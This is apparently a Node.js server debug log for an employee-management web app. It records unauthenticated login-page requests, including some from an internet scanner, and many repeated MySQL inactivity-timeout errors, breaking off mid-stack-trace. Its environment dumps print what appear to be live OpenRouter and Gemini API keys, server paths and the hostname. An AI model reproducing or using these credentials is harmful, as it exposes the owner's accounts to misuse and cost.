2026-01-03T06:07:04.016Z server-connect:auth No login cookie found
2026-01-03T06:07:04.016Z server-connect:output identity: false
2026-01-03T06:07:04.016Z server-connect:app Executing action step restrict
2026-01-03T06:07:04.016Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-01-03T06:07:04.016Z server-connect:output restrict: undefined
2026-01-03T06:07:04.229Z server-connect:router Serving templateView /login
2026-01-03T06:07:04.229Z server-connect:app Executing action step identify
2026-01-03T06:07:04.229Z server-connect:app options: { provider: 'security' }
2026-01-03T06:07:04.229Z server-connect:auth No login cookie found
2026-01-03T06:07:04.229Z server-connect:output identity: false
2026-01-03T06:07:04.229Z server-connect:router Render template layouts/authentication
2026-01-03T06:07:04.230Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '167.94.146.51',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-01-04T06:07:04.229Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '167.94.146.51',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '167.94.146.51',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-03 06:16:23' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-03 06:16:23' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-03 06:33:23' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-03 06:33:23' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-03 07:27:43' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-03 07:27:43' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-03 07:27:47' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-03 07:27:47' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-03 08:06:47' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-03 08:06:47' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-03 09:39:44' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-03 09:39:44' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-03 10:32:47' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-03 10:32:47' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-03 10:59:23' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-03 10:59:23' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-03 11:40:44' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-03 11:40:44' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-03 14:01:24' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-03 14:01:24' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-03 14:20:24' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-03 14:20:24' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-03 14:49:24' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-03 14:49:24' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-03 14:53:48' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-03 14:53:48' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-03 15:00:25' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-03 15:00:25' as DATETIME)"
}
2026-01-03T15:01:33.438Z server-connect:router Serving templateView /
2026-01-03T15:01:33.439Z server-connect:app Executing action step identify
2026-01-03T15:01:33.439Z server-connect:app options: { provider: 'security' }
2026-01-03T15:01:33.439Z server-connect:auth No login cookie found
2026-01-03T15:01:33.439Z server-connect:output identity: false
2026-01-03T15:01:33.439Z server-connect:app Executing action step restrict
2026-01-03T15:01:33.439Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-01-03T15:01:33.440Z server-connect:output restrict: undefined
2026-01-03T15:01:34.124Z server-connect:router Serving templateView /login
2026-01-03T15:01:34.125Z server-connect:app Executing action step identify
2026-01-03T15:01:34.125Z server-connect:app options: { provider: 'security' }
2026-01-03T15:01:34.125Z server-connect:auth No login cookie found
2026-01-03T15:01:34.125Z server-connect:output identity: false
2026-01-03T15:01:34.125Z server-connect:router Render template layouts/authentication
2026-01-03T15:01:34.126Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '198.235.24.9',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-01-04T15:01:34.124Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '198.235.24.9',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '198.235.24.9',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-03 15:09:48' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
